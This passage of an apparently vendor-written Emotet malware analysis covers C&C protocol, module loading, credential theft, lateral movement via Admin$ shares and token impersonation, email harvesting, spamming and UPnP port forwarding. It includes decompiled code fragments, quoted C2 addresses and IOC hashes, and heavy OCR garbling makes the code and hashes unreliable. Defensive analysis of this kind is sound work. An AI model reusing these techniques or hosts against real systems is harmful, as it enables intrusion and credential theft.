14 = sub A91D18(@xA8u, &unk AA22D®, 1166125698);
1 = sub_A91598();

lpszVerb = 8;

if ( lpOpticnal )

Fig. 20 Api for sending Request

Where bot id is created using combination of computer name and volume serial number of drive where windows is

installed and crc32 is obtained using RtlComputeCrc32. If crc32 of current binary is not recent on C&C server then it
sends updated binary as response. For each request to the C&C payload again creates running processes list. If list
contains VirtualBox or debugger related processes then C&C blocks bot id.



v | UusuiLaD rris JouATiUY URUI U pLE US. [SSENSCpY S )

e 83C4 OC add esp,C
o 00401CAF 013E add dword ptr ds:[esi],edi [esi]: "wmiPrvSE. exe,DDFADD.exe,Trusted)]
e| 00401CB1 SF pop edi
*| 00401CE2 SE pop esi esi:&"wmiPrvsE. exe,DDFADD. exe, TrustedI|
®| 00401CB3 SB pop ebx ebx: "wmiPrvSE.exe,DDFADD. exe,TrustedIn:
e|[ 00401CB4 5D op ebp
o | 00401CBS c3
® | 00401CE6 cc int3
* I I ]

Jump is taken y

00401C84

00401C97

$hoump1 | goump2 | goump3 | Woump4 | oumps | @ watcht | ixeltocals | P struct |

Address | Hex ASCII -

0017E6C1|00 00 00 00|00 00 00 BD|[2E D3 44 8A|9A 00 09 08 %00 botid

0017E6D1 |00 12 OF [dalysusrugevgelssneenssvgaisongeranusly] | TEWINZ. 3C9E0S

0017EGE1|38 42 18 F4|BC 06 20 00|2D 95 2A DS S st CI'C32

0017EEF1 (57 6D 69 50|72 76 53 45(2E 65 78 65|2C 44 44 46| WmiPrvSE.exe,DDF
0017E701(41 44 44 2E|65 78 65 2C(54 72 75 73|74 65 €4 49| ADD.exe,Trustedl
0017E711|6E 73 74 61|6C 6C 65 72(2E 65 78 65|2C 77 75 61| nstaller.exe,wua
0017E721(75 63 6C 74|2E 65 78 65(2C 53 65 61|72 63 68 49| uclt.exe,Searchl
0017E731|6E 64 65 78|65 72 2E 65(78 65 2C 65|78 70 6C 6F | ndexer.exe,explo < .
0017E741(72 65 72 2E|65 78 65 2C|64 77 €D 2E|65 78 65 2C|rer.exe,dwnm.exe,——— PI'OC list
0017E751(74 61 73 68|68 6F 73 74(2E €5 78 65|2C 73 70 70| taskhost.exe,spp
0017E761(73 76 63 2E|65 78 65 2C(77 6C €D 73|2E 65 78 65| SvC.exe,wims.exe
0017E771(2C 73 70 6F [GE_6C 73 76(2E 65 78 65|2C 73 76 63| ,Spoolsv.exe,svc
0017E781(68 6F 73 74|2E 65 78 65(2C 6C 73 6D|2E 65 78 65| host.exe,lsm.exe
0017E791|2C 6C 73 61|73 73 2E 65|78 65 2C 73(65 72 76 €9/ ,1sass.exe,servi

0017E7A1|63 65 73 2E|65 78 65 2C|77 69 6E 6C|6F 67 6F 6E| ces.exe,winlogon 0012F76c || 000
0017E7B1|2E 65 78 65|2C 77 69 6E|69 6E 69 74|2E 65 78 65|.exe,wininit.exe 0012F770 | 000
0017E7C1|2C 63 73 72|73 73 2E 65|78 65 2C 73|6D 73 73 2E| ,CSrSS.exe,smss, 0012F774 || 000
0017E7D1|65 78 65 2C |00 00 00 BF|2E D2 47 31|9A 00 00 CO|Exe,...;.0G1...A _| 0012r775 [} 000
0017E7E1(C8 17 00 C8|CB 17 00 2C 00 63 00 68|E..EE..;.s.v.C.h [ dll 0012F77¢ || 006

Fig. 21 Emotet C&C Request

In Fig. 21 we can see the request which emotet sends to the C&C server, actually this is protocol buffer structure
which was mentioned earlier. "IEWIN7-3C9E0900" is the bot id of system, which collects system version. The last
word is crc32 value of emotet payload which it uses to identify if payload is modified or latest version i.e. synced with
server's latest payload version or not. Then at last it appends process list. Further it encrypts this whole request with
AES encryption and AES key with RSA public key which is present in payload and private key of RSA is present at
server end.

Now a day's emotet is using random url patterns created from word list, by using similar algorithm as emotet naming
logic for dropped copy. This is done to identify emulators run by security researchers. If url pattern is not present,
then it blocks that Ip and bot id. Eg. It sends request to url like hxxp://103.201.150.209:80/cone/. Also, it accepts only
post requests.

When we sent updated crc32 as request we got 6 modules as response for Indian IP. Emotet has server-side
validation which checks geolocation of client and delivers malware according to IP location. For blocking it only
blocks bot id which is unique for each customer. To execute Modules, it contains 4 switch cases, in response it
contains blob where case id for each module is also sent.

To Execute Modules following 4 ways are used:

1. Write File to Temp and execute (arguments)

2. Write File to Temp and execute (Trickbot)

3. Download File and execute (URL is received which is then downloaded and executed)
4. Load into memory as thread (dll-modules)

The request packet can be represented as follows:

Encrypted 128-bit AES key SHAT hash of plaintext Request body, AES-128-CBC
used for request encryption request body encrypted

Fig. 22 Structure of a request send to the server



The IP addresses of Emotet's C&C servers are hardcoded into the bot which sends the POST request to each URL.
Malware communicates with Command & Control.

If arequest was successfully received, C&C server returns a list of Emotet modules. Response body contains
encrypted data.

Structure of encrypted response is similar to the request structure. Response is encrypted using the same AES key,
which was passed in request.

The response packet can be represented as follows:

Digital Signature SHAT1 hash of Answer Answer body, AES-128-CBC encrypted

Fig. 23 Structure of a response send by the server

The response from C&C server is having digital signature of 0x60 bytes which is verified by the malware before
decrypting the answer. After that 0x14 byte SHAT hash and after that AES encrypted response is present. After first
0x74 bytes actual response with modules is present. All modules can be sent as single response by C&C in Protobuf
encoded format. Generally, modules which are dll are loaded as Thread and malware is directly executed by dropping
to temp directory. During analysis we got trickbot from united states IP which drops to temp and executes.

4.3 Emotet In Memory Modules:

4.3.1 Credentials stealer Module:

We found two modules, whose purpose is to steal credentials from web browser and mail client.
» Mail PassView (Email Password-Recovery) 1.86 (166kb)

» WebBrowserPassView 1.80 (405kb)

Both modules are embedded in file and encoded using XOR operation as given in Fig. 24 On module start up, module
decodes these two Nirsoft software and is stored in % TEMP%, and then executed with /scomma [temp file name]
parameter, which then dumps all passwords into file contained in %TEMP% folder. Stolen data is sent to C&Cserver
for malware spreading purpose.

-text:10001A40 F3 OF 6F ©1 moudqu xmmB, xmmword ptr [ecx]
-text:10001A44 83 CO 08 add eax, 8

.text:10001A47 66 OF EF C1 pxor *xmmB, xmm1 |
-text:10001A4B F3 OF 7F 02 movdqu xmmword ptr [edx], xmm8
-text:10001A4F F3 OF 6F 41 10 movdqu xmm8, xmmword ptr [ecx+16h]
-text:10001A54 83 C1 20 add ecx, 26h

-text:100081A57 66 OF EF CA1 pxXor xmme, xmmi

-text:108001A5B F3 OF 7F 42 18 movdqu xmmword ptr [edx+16h], xmm@
.text:10001A60 83 C2 20 add edx, 26h

-text:108001A63 3D 28 SA 01 68 cmp eax, 15A28h

.text:10001A68 72 D6 jb short loc_10001A40
-text:10001A6A 3D 29 5A 61 68 cmp eax, 15A29%h

-text:10001A6F 73 20 jnb short loc_10001A91

Favk-dRRR4AT4

Fig. 24 Decryption Loop

4.3.2 Network Spreader Module (16kb):

It is emotet's own module with 16kb size. This module is the first module which drops after successful C&C
communication. It is loaded as thread and executed in memory. It resolves imports in memory by deobfuscating
strings on stack. Then it uses CreateTimerQueueTimer Function to schedule timer for function with Ox3E8 time for
reactivation, WT_ExecutelL.ongFunction flag.

It uses genuine api for lateral movement, so it is very difficult to Detect it in IDS/IPS. It Enumerates connections in
network by using WNetEnumResourceW function. This function returns list of shares, network resources in network
in NETRESOURCE structure same as "net view" command. Also, it uses NetUserEnum function to retrieve user
account information from server.



lpEnvironment = @;
lpCommandLine = al;
sub_A917€@(&LpStartupInfo, @x4du);
1pstartupInfo = 68;
if ( !phSessionId )
return CreateProcessW(®, lpCommandLine, @, @, @, 1824, lpEnvironment, @, &lpStartupInfo, lpProcessInformation);
VB = sub_A91D10(@x1BCu, &unk_AA2380, 1208644924);
if ( CreateEnvironmentBlock(&lpEnvironment, phSessionld, @) )

v4 = CreateProcessAsUseri(
phSessionld,
8,
1pCommandLine,

1pEnvironment,

e,

&lpStartupInfo,

1pProcessInformation);
DestroyEnvironmentBlock(1pEnvironment);

Fig. 25 Service Creation from Lateral Movement

To Transfer file to pc in network it uses above code. Where as to login into other pc it uses WNetAddConnection2W
which accepts username and password for network resource. If null is passed as username and password it uses
local account credential. If local account is domain admin then it can access all resources in network. Once it gets
access, it copies file to Admin$ share, and creates service on remote pc and starts it as service.

Also, it contains code for taking credential of active session or credential stored in memory.

signed int _ thiscall sub_A9216@(void *this)

void *phNewToken; // esi
int hUserIdentifier; // eax
int hSessionId; // [esp+4h] [ebp-4h]

phNewToken = this;
hUserIdentifier = WTSGetActiveConsoleSessionId();
if ( huUserIdentifier == -1 )
return @;
if ( WTSQueryUserToken(hUserIdentifier, &hSessionId) )
i

DuplicateTokenEx(hSessionId, 0x2000000, ©, 1, 1, phNewToken);
CloseHandle(hSessionId);

return 1;]

Fig. 26 Getting Session Id



1pEnvironment = @;

1pCommandLine = al;
sub_A917€@(&lpStartupInfo, @x44u);
1pStartup = 68;

if ( !phSessionld )

return CreateProcessW(®, lpCommandLine, @, @, @, 1824, lpEnvironment, @, &lpStartupInfo, lpProcessInformation);
vE8 = sub_A91D1@(@x1BCu, &unk_AA2380, 1208644924);
if ( CreateEnvironmentBlock(&lpEnvironment, phSessionId, @) )
{
v4 = CreateProcessAsUseri(
phSessionld,
9,
lpCommandLine,
e,
e,
8,
1024,
IpEnvironment,
9,
&1pStartuplnfo,
1pProcessInformation);
DestroyEnvironmentBlock(1lpEnvironment);
}

Fig. 27 Creating Process with Given Session id

WTSGetActiveConsoleSessionld function is used for retrieving identifier of console session which is input for
WTSQueryUserToken. This function retrieves session id which is used for CreateProcessAsUser function. So, by
using this function emotet can retrieve credential for logged on session which are present in memory. In this way it
can impersonate any logged-on user and reuse its credential and resource access across the network. This is similar
to NTLM Relay attack. Also, it does brute forcing by using computer name, username collected from above api. Its
combination is used as credential for resources in network.

On client system AdminS resolves to Windows directory, so this module copies emotet sample to windows directory
with Alphanumeric name of 8 alphabets. On client PC, it is then executed as service which is similar as sc.exe
//targethost start service. So, on client-side parent process is Services.exe. Then for persistency again it creates
unique name and retrieves system folder path by using "SHGetFolderPathW" function and relocates itself to new
location by using "SHFileOperationW". Then it registers itself as service and starts execution as service. Then again,
this infected system works as bot and starts infecting other systems in network.

4.3.3 Emotet's Email Harvesting Module (288kb)

When this module is executed, it checks for the presence of registry key HKLM\Software\Clients\Mail\Microsoft
Outlook and then checks value of DLLPathEXx i.e. the path to the mapi32.dll module. If it is not found, the module does
not proceed further.

Microsoft has provided a group of APIs called MAPI (Microsoft Outlook Messaging API). These API give an
application access to emails and can be used to steal contact lists.

BB4A53EC 6R 00 push 8

'@B4O53EE FF 15 4C B6 41 09 call HWAPIInitialize
BBLAS3FY BS CO test 2ax, eax

:004053F6 OF 88 C6 00 00 00 js loc_4854C2

‘OBLO53FC 8D 44 24 14 lea eax, [esp+2Bh+var C]
:BB4AS400 50 push eax

08405461 6A 60 push 8

:a8uA5403 FF 15 50 B2 41 08 call HAPIAdminProfiles
:BBLA5L0? 85 CO test eax, eax

B04A540B OF 88 AE 00 DO 0O is loc_4B54BC

Fig. 28 Loading MAPI functions



Module then creates a temporary file that is used to store the stolen Outlook information and email addresses that
have been collected. It will encrypt the data and send the stolen information to its C&C server. In similar way by using
MAPI api emotet steals a mail body in email scraper module. This stolen mail body is used as template for further
spamming.

4.3.4 Emotet's Spam Module (1339kb):

This is the largest emotet module dropped with size of TMb 339 kb. This module contains list of C&C Contacting this
C&C it receives list of email id which are target mail id's for sending email. On daily basis spamming module is
changed and it is dropped to specific locations. In India it is dropped frequently but for United States it is loaded rarely
nowadays. The same has also been confirmed by Cryptolaemus1 group. It also uses template of genuine companies
like Amazon, Vodafone etc. Also, language of these templates are according to country like for Germany clients it
sends mail in German language. This module also uses google protocol buffer for communication with C&C. Indian
infected hosts are mainly used to launch spam campaign. Spam module receives mail id's and template (stolen from
email clients) containing newly infected website links from spam server's C&C. Further to these target mail ID's

(received from server) this module sends spam mails to infect new hosts. To prevent from spamming user can use
two-factor authentication or use browser-based outlook.

4.3.5 Emotet's Connection-Verifier (221kb):

This module is different than any other module emotet ever used. Mainly it contains functionality for port forwarding.
It is our theory that it can also use this port to access system over public IP, if PC is connected over public IP.

v12 = (int)"libminiupnpc*;
ul3 = (char =)u28;
#( DWORD »*){(v? + 12) = a3;
»(_ DWORD =)(u9 + 28) = ali;
uily = a6;
u15 = a6 == B;
#{ DWORD =)u18 = ""NewRemoteHost'';
i tuls )
ul2 = vullh;
*( DWORD *>)(vi18 + 4) = 0;
»*{ DWORD =){u18 + 8) = "NewExternalPort';
ulé = u21;
*( DWORD *=)(viB8 + 16) = ""NewProtocol';
*x{ DWORD »*)(ui18 + 28) = u8;
#( DWORD =)(viB8 + 24) = ""NewInternalPort™;
#( DWORD =)({ui1B8 + 32) = ""NewInternalClient';
*{_ DWORD *){(vi1B8 + 36) = u7;
#{ DWORD =){ui18 + 48) = ""NewEnabled";
#{_ DWORD »=){uvi18 + i) = ""1';
*{(_ DWORD =){(vi18 + 48) = ""NewPortMappingDescription™;
*{_ DWORD *)(viB + 52) = vi12;
*#( DWORD =)(viB + 56) = ""NewLeaseDuration';
%(_DWORD =)(ulB + 68) = "0';

v17 = sub_18828458(vi13, v16, (int)"AddPortMapping™, v18, (int)&ak);
if ¢ v17 )
<

Fig. 29 Emotet Port Forwarding

It Maps port from router to local port which later can also be used as C&C or to take remote access or to spread other
malwares in these systems. Then it sends post request to /whoami.php to one of the module's C2s such as
75.128.208.218:8080. By using this module emotet forwards multiple ports to infected host on router using upnp.
Such infected machines, public ip and forwarded port are used in payload as CnC. So, when newly infected host
connects to this CnC sever, it is actually connecting to previously infected host where port forwarding is done. We call
such CnC as tier 1 servers. This tier1 server gets data from tier2 server. On client side if we nmap this tierl c&c we
may observe that dvr, ssh, smb, etc. services are running parallel on same public ip. This is because of port
forwarding. We have also observed same ip list but different port as C&C.



I0Cs:

12F469088E94CF4590E86E887F3FAT6A (settings.php)
BFCTAAOB1DBD3881C00B246B1D8F7098 (remote.php)
99E6BOD49F329FF3ATAD1C19FBD2C126 (index.php - emotet)
DCOCOF9E386D23BICDBDO7ET958BETFB (edit.php)
FO18A022DC77DC39F79D76DD5F48F1ES (pdf)
BCEO4CFCE7D8C5719A6966B1F4011B64 (js File)
T4F1F8ETAQ0EOC41B396654C8B39F168 (Document File)
249D8FOE195ADFOEDD10757E532604B3 (Emotet Sample)
1BD3FOE808E34F8547333E10BE692769 (Updated Emotet sample)
E9BA3EFD7AA86CO0B3FBO98FEE3C0095 (Emotet Mail PassView Module)
72DODFF29FEB1DET1BYFO3D4EAEAODC24 (Emotet WebBrowser PassView Module)
DOAT773A4FDD548D846310C3DAA56535 (Emotet Network Module for later movement)
40B2747FBCB1AOA9022E511B79ABC54C (Emotet Network Module for later movement)
BDFIDEA8BB4299964C98CFIC60E2CT6A (Emotet Network Module for port forwarding)
5EQE1B4354594E0E787C7TAO3AFAQEGT7 (Emotet Mail Harvester Module)
D1DC7188955759929EA3DESAG3F7B170 (Emotet Spamming Module)
8C11EC7CB4EC60245E70286453EDC800 (Trickbot)



Conclusion

Emotet malware is primarily spreading through via spam mail which has social engineering tricks to phish the user
easily. The infection can be spread either via malicious script, macro-enabled document files, or malicious link. It also
uses template of genuine companies like amazon, vodafone etc. to look like a legitimate email to lure users to click
the malicious files. Also, language of these template are according to country like for Germany clients it sends mail in
German language.

Quick Heal provides multilayered protection against each layer of Emotet campaign.
Security measures to follow.

* Don't open any link in the mail body sent by an unknown source.

* Don't download attachments received by an untrusted source.

* Always turn on email protection of your antivirus software.

* Don't enable 'macros’ or ‘editing mode' upon execution of the document.
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